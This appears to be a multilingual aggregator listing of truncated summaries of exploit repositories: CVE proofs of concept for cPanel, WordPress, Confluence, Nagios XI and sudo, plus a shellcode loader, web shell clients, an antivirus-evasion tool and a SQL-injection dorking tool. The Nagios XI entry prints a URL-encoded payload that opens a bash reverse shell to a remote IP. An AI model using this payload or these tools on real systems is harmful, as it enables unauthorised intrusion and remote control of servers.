CVE-2026-41940

CVE-2026-41940 — cPanel2Shell Interaktives Ausnutzungstool für CVE-2026-41940 🧠 Was ist CVE-2026-41940 ? cPanel2Shell nutzt eine kritische Schwachstelle zur Authentifizierungsumgehung in cPanel & WHM aus. Die Schwachstelle wird durch eine CRLF-Injection im Login-/Session-Handling-Mechanismus...

CVE-2024-9796

CVE-2024-9796 POC SQLi - CVE-2024-9796 Funktionsfähiger PoC für die Schwachstelle CVE-2024-9796, die das Plugin WP Advanced Search Autovervollständigung in WordPress betrifft und eine SQL-Injection über nicht bereinigte GET-Parameter ermöglicht. 📌 Beschreibung Diese Schwachstelle ermöglicht es...

ProcessStomping

ProcessStomping Una variazione del ProcessOverwriting per eseguire shellcode su una sezione di un eseguibile Cos'è Per una spiegazione più dettagliata puoi leggere il mio post del blog Process Stomping è una variazione del Process Overwriting di hasherezade e ha il vantaggio di scrivere un payloa...

Blackash-CVE-2025-66516

🚨 CVE-2025-66516 — Vulnerabilidade Crítica do Apache Tika CVSS: 10.0 | Tipo de Exploit: Injeção XXE | Nível de Risco: MÁXIMO 🎯 Resumo Executivo CVE-2025-66516 é uma vulnerabilidade crítica de XML External Entity XXE no mecanismo principal de processamento do Apache Tika. Um único PDF malicioso co...

CVE-2024-32113

CVE-2024-32113 Apache OFBiz Path Traversal führt zu RCE-Exploit. Schwachstelle durch unzureichende Beschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis 'Path Traversal' in Apache OFBiz. Dieses Problem betrifft Apache OFBiz: vor 18.12.14 nicht enthalten. Benutzern wird empfohlen, auf...

CVE-2022-26134

CVE-2022-26134 POC ed exp per RCE da iniezione di espressione OGNL in Confluence CVE-2022-26134 Aggiornamento Aggiunto bypass sandbox, supporto per versioni elevate. Usage root@kitploit: Usage: python Confluencecve202226134RCE.py http://example.com/ Lo script controllerà automaticamente se il...

CVE-2019-20197

CVE-2019-20197 Nagios XI vulnerabilità di esecuzione remota di comandi = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2025-61505

CVE-2025-61505 – Iniezione di oggetti PHP in e107 CMS 2.x Segnalato: 18 settembre 2025 CVE Assegnato: 9 ottobre 2025 Pubblicato: 2 febbraio 2026 ID CVE: CVE-2025-61505 Scopritore: Anas Abderrahman Benbarek Riepilogo Una vulnerabilità di Iniezione di oggetti PHP CWE-502: Deserializzazione di dati...

wshlient

Wshlient Client Web Shell Descrizione e demo Wshlient è un client web shell progettato per essere piuttosto semplice ma versatile. Basta creare un file di testo contenente una richiesta HTTP e indicare dove Wshlient deve iniettare i comandi, e potrai usufruire di una shell...

wshlient

Wshlient Web Shell Client Description & Demo Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell...

CVE-2025-22381

CVE-2025-22381: Iniezione dell'header Host in Aggie Analisi dettagliata e Proof-of-Concept per CVE-2025-22381, una vulnerabilità di Iniezione dell'header Host scoperta nel progetto open-source Aggie. Panoramica della vulnerabilità+ CVE ID: CVE-2025-22381 Pubblicata: ottobre 2025 assegnazione MITR...

CVE-2026-57517

Control Web Panel ≤ 0.9.8.1224 — Blind SQL Injection zu Remote Code Execution Port 2083 → userRes POST → INTO DUMPFILE → Port 2031 Webshell → cwpsvc 🔴 Schwachstellenübersicht CVE-2026-57517 ist eine kritische Blind-SQL-Injection vor der Authentifizierung in in Versionen ≤ 0.9.8.1224. Der...

CVE-2025-56803

CVE-2025-56803 OS-Befehlsinjektions-Schwachstelle durch Plugin-Ausführung in der Figma-Desktop-Anwendung 1. Überblick Anwendung : Figma Desktop-Anwendung Version : 125.6.5 Anbieter : Figma, Inc. CWE : CWE-78: Unzureichende Neutralisierung spezieller Elemente in einem OS-Befehl „OS Command...

CVE-2023-46805

Scanner CVE-2023-46805 Scanner CVE-2023-46805 pour les possibles appliances Ivanti Connect Secure vulnérables par pays en utilisant Shodan. Version du script : 1.3 Mis à jour avec le récent article de blog de Assetnote ⚠️ Ce script est destiné à des fins défensives et doit être utilisé par des...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilidade de Server-side Template Injection SSTI que permite Execução Remota de Código RCE no Confluence Data Center e Confluence Server Produtos e versões afetados:...

invoker

المستدعي Invoker أداة اختبار اختراق وتقييم مضاد للفيروسات. مُبنية باستخدام Visual Studio Community 2022 v17.5.4 64-bit وتم اختبارها على نظام Windows 10 Enterprise 64-bit. صُنعت لأغراض تعليمية. أتمنى أن تكون مفيدة! هذا المستودع بدأت تظهر له توقيعات معروفة وليس لدي وقت لرفع ملفات تنفيذية جديدة في ك...

invoker

Invoker Penetration testing utility and antivirus assessment tool. Built with Visual Studio Community 2022 v17.5.4 64-bit and tested on Windows 10 Enterprise OS 64-bit. Made for educational purposes. I hope it will help! This repository started to have known signatures and I don't have time to...

CVE-2025-32462-CVE-2025-32463-PoC-Lab

CVE-2025-32462 & CVE-2025-32463 – Laboratorio Avanzato di PoC Questo repository fornisce un laboratorio basato su container e un PoC dettagliato per due vulnerabilità critiche di sudo: CVE-2025-32462 – bypass della logica di corrispondenza host di sudo -h CVE-2025-32463 – escape della libreria NS...

CVE-2024-9465

CVE-2024-9465: Palo Alto Expedition SQL Injection non autenticata Proof of concept per sfruttare CVE-2024-9465 su dispositivi vulnerabili. Articolo del Blog Causa principale e indicatori di compromissione qui:...

sqlmate

sqlmate Ci sono alcune funzionalità che pensiamo SQLMap dovrebbe avere. Come trovare il pannello di amministrazione del target, un miglior cracking degli hash, ecc. Se la pensi allo stesso modo, SQLMate fa per te. Cosa fa? Fornisci un dork di SQL injection tramite l'opzione --dork e troverà siti...